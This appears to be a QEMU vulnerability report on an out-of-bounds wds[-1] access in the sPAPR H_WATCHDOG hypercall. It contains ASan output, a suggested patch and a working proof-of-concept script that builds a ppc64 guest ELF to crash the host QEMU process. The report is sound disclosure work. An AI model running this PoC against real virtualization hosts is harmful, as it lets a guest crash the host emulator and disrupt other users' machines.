hw/watchdog/spapr_watchdog: H_WATCHDOG accepts watchdogNumber 0 and accesses spapr->wds[-1]

I can trigger a host-side AddressSanitizer crash in current QEMU master through the sPAPR H_WATCHDOG hypercall on the pseries machine.

H_WATCHDOG treats watchdogNumber as a 1-based index, but the START path does not reject watchdogNumber == 0. A guest can therefore make QEMU compute &spapr->wds[watchdogNumber - 1], which becomes &spapr->wds[-1], and then use that invalid object as a SpaprWatchdog.

The vulnerable pattern is in h_watchdog():

target_ulong watchdogNumber = args[1]; /* 1-Based per PAPR */
...
case PSERIES_WDTF_OP_START:
    if (watchdogNumber > ARRAY_SIZE(spapr->wds)) {
        return H_P2;
    }
    if (timeoutInMs <= WDT_MIN_TIMEOUT) {
        return H_P3;
    }

    w = &spapr->wds[watchdogNumber - 1];
    ...
    timer_mod(&w->timer,
              qemu_clock_get_ms(QEMU_CLOCK_VIRTUAL) + timeoutInMs);

For watchdogNumber = 0, the upper-bound check passes and w points before the spapr->wds[] array.

Environment

I reproduced this on current master in the following environment:

  • host: x86_64 Linux
  • QEMU commit: b83371668192a705b878e909c5ae9c1233cbd5fb
  • build: ../configure --enable-asan --enable-ubsan --target-list=ppc64-softmmu
  • machine: pseries,x-vof=on
  • accelerator option used for stable ASAN output: -accel tcg,thread=single

Steps to reproduce

Build an ASan QEMU for ppc64:

mkdir build-asan-ppc64
cd build-asan-ppc64
../configure --target-list=ppc64-softmmu --enable-asan --enable-ubsan --disable-werror
ninja -j$(nproc) qemu-system-ppc64
cd ..

Build and run the PoC script:

chmod +x qemu-spapr-watchdog-zero-poc.sh
ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:halt_on_error=1:symbolize=1     ./qemu-spapr-watchdog-zero-poc.sh ./build-asan-ppc64/qemu-system-ppc64

The script uses clang --target=powerpc64-linux-gnu and ld.lld to build a tiny ppc64 guest ELF that directly issues the PAPR hypercall.

Security boundary note:

The reproducer uses a minimal guest payload only to invoke the guest-accessible sPAPR hypercall interface deterministically. The vulnerable path is in the emulated sPAPR watchdog device/hypercall handling exposed to a guest when the watchdog is configured on a supported virtualization machine such as ppc64 pseries. Therefore the reproducer should be treated as a compact way to exercise guest-accessible virtualization interfaces, not as a test-only issue.

ASan output

With an ASan build this aborts the host process with:

triggering H_WATCHDOG with watchdogNumber=0; an ASAN build should abort in h_watchdog()/timer_mod_ns()...
==3342837==ERROR: AddressSanitizer: SEGV on unknown address
==3342837==The signal is caused by a READ memory access.
    #0 qemu_mutex_lock_impl ../../util/qemu-thread-posix.c:107
    #1 timer_mod_ns ../../util/qemu-timer.c:465
    #2 h_watchdog ../../hw/watchdog/spapr_watchdog.c:166
    #3 emulate_spapr_hypercall ../../hw/ppc/spapr.c:1406
    #4 powerpc_excp_books ../../target/ppc/excp_helper.c:1556
    #5 powerpc_excp ../../target/ppc/excp_helper.c:1750
    #6 cpu_handle_exception ../../accel/tcg/cpu-exec.c:731
SUMMARY: AddressSanitizer: SEGV ../../util/qemu-thread-posix.c:107 in qemu_mutex_lock_impl

The crash occurs because timer_mod() operates on the invalid wds[-1].timer object.

PoC

#!/usr/bin/env bash
set -euo pipefail

QEMU=${1:-qemu-system-ppc64}
TMPDIR=$(mktemp -d /tmp/spapr-watchdog-zero.XXXXXX)
trap 'rm -rf "$TMPDIR"' EXIT

cat > "$TMPDIR/hwatchdog0.S" <<'ASM'
    .text
    .globl _start
_start:
    li 3, 0x45c      # H_WATCHDOG
    li 4, 0x102      # OP_START(1)<<8 | ACTION_HARD_RESTART(2)
    li 5, 0          # watchdogNumber = 0 (invalid; H_WATCHDOG uses 1-based numbers)
    li 6, 1000       # timeoutInMs > WDT_MIN_TIMEOUT
    sc 1             # PAPR hypercall
1:  b 1b
ASM

cat > "$TMPDIR/link.ld" <<'LD'
ENTRY(_start)
PHDRS { text PT_LOAD FLAGS(5); }
SECTIONS {
  . = 0x0;
  .text : { *(.text*) } :text
}
LD

clang --target=powerpc64-linux-gnu -x assembler -c \
    -o "$TMPDIR/hwatchdog0.o" "$TMPDIR/hwatchdog0.S"
ld.lld -m elf64ppc -T "$TMPDIR/link.ld" \
    -o "$TMPDIR/hwatchdog0.elf" "$TMPDIR/hwatchdog0.o"

echo "triggering H_WATCHDOG with watchdogNumber=0; an ASAN build should abort in h_watchdog()/timer_mod_ns()..." >&2
ASAN_OPTIONS=${ASAN_OPTIONS:-detect_leaks=0:abort_on_error=1:halt_on_error=1:symbolize=1} \
timeout -s KILL 10s "$QEMU" \
    -M pseries,x-vof=on -accel tcg,thread=single -m 512M -nographic -display none -no-reboot \
    -kernel "$TMPDIR/hwatchdog0.elf" \
    -d guest_errors,unimp

Why watchdogNumber 0 is invalid

The implementation itself documents watchdogNumber as 1-based:

target_ulong watchdogNumber = args[1]; /* 1-Based per PAPR */

The valid individual watchdog numbers are therefore 1..ARRAY_SIZE(spapr->wds). Zero should be rejected before subtracting one.

Other affected paths

The same zero-index pattern appears in the STOP path:

case PSERIES_WDTF_OP_STOP:
    if (watchdogNumber == PSERIES_WDT_STOP_ALL) {
        ret = watchdog_stop_all(spapr);
    } else if (watchdogNumber <= ARRAY_SIZE(spapr->wds)) {
        ret = watchdog_stop(watchdogNumber,
                            &spapr->wds[watchdogNumber - 1]);
    } else {
        return H_P2;
    }
    break;

For watchdogNumber = 0, this also passes watchdogNumber <= ARRAY_SIZE(spapr->wds) and computes &spapr->wds[-1].

QUERY_LPM also accepts watchdogNumber = 0 even though the watchdog number is 1-based:

case PSERIES_WDTF_OP_QUERY_LPM:
    if (watchdogNumber > ARRAY_SIZE(spapr->wds)) {
        return H_P2;
    }

Suggested fix

Reject zero in every path that consumes a 1-based watchdog number:

if (!watchdogNumber || watchdogNumber > ARRAY_SIZE(spapr->wds)) {
    return H_P2;
}

For example, the START path should become:

case PSERIES_WDTF_OP_START:
    if (!watchdogNumber || watchdogNumber > ARRAY_SIZE(spapr->wds)) {
        return H_P2;
    }
    if (timeoutInMs <= WDT_MIN_TIMEOUT) {
        return H_P3;
    }
    w = &spapr->wds[watchdogNumber - 1];

The STOP path should handle PSERIES_WDT_STOP_ALL first, then reject zero and out-of-range values before indexing:

case PSERIES_WDTF_OP_STOP:
    if (watchdogNumber == PSERIES_WDT_STOP_ALL) {
        ret = watchdog_stop_all(spapr);
    } else if (!watchdogNumber || watchdogNumber > ARRAY_SIZE(spapr->wds)) {
        return H_P2;
    } else {
        ret = watchdog_stop(watchdogNumber,
                            &spapr->wds[watchdogNumber - 1]);
    }
    break;

QUERY_LPM should apply the same lower-bound check.

Edited by huntr bubble